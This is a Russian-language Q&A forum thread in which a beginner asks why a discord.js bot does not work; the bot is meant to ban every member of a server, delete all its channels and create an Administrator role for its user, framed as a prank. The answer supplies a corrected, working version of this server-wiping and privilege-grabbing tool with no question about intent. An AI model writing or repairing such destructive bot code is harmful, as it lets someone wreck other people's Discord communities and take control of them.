Почему мой Discord-бот не делает то, что должен? - PullRequest
0 голосов
/ 04 августа 2020

Итак, я новичок и пытаюсь создать одного из своих первых ботов!

Я решил развлечься и сделал этого бота. Он должен запретить всем доступ к серверу, удалить все каналы и дать вам администратора (на самом деле я не собираюсь использовать его на других людях, я просто делаю это в шутку или разыгрываю своих друзей. Я также полный новичок, извините, если код плохой)

const Discord = require('discord.js');
const client = new Discord.Client();

client.once('ready', () => {
    console.log('Ready!');
});

if (Discord.Message.content === '!ban-all') {
    message.guild.members.filter(member => member.bannable).forEach(member => {member.ban()});
    message.delete(1000);
}

if (Discord.Message.content === '!give-admin') {
    role = message.guild.createRole({

        name: "Admin",
          color: "#2f3136",
          permissions: [8]

    });
        
    message.member.addRole(role)
    message.delete(1000);
}

if (Discord.Message.content === '!delete-all-channels') {
        message.guild.channels.forEach(channel => channel.delete())
          }

client.login('(my token)');

1 Ответ

0 голосов
/ 04 августа 2020
const Discord = require("discord.js");
const client = new Discord.Client();

client.on("ready", () => {
    console.log(`${client.user.tag} is ready!`);
});

client.on("message", message => {
    // Making sure that others cannot use the commands.
    if (message.author.id !== "YourDiscordID") return false;

    if (message.content.toLowerCase() == "!ban-all") {
        message.delete(1000);
        message.guild.members.cache.forEach(member => {
            member.ban().catch(e => {console.log(`Couldn't ban ${member.user.tag}. | ${e}`)});
        });
    };

    if (message.content.toLowerCase() == "!give-admin") {
        message.delete(1000);
        if (!message.guild.me.hasPermission("ADMINISTRATOR")) return message.reply("I do not have Administrator permissions.");

        message.guild.roles.create({
            data: {
                name: "Admin",
                color: "#2f3136",
                permissions: "ADMINISTRATOR"
            },
            reason: "Reason"
        }).then(role => message.member.roles.add(role).catch(e => console.log(`Couldn't add the role. | ${e}`)));
    };

    if (message.content.toLowerCase() == "!delete-all-channels") {
        message.guild.channels.cache.forEach(channel => channel.delete().catch(e => console.log(`Couldn't delete the channel. | ${e}`)));
    };
});

client.login(process.env.DISCORD_AUTH_TOKEN);
...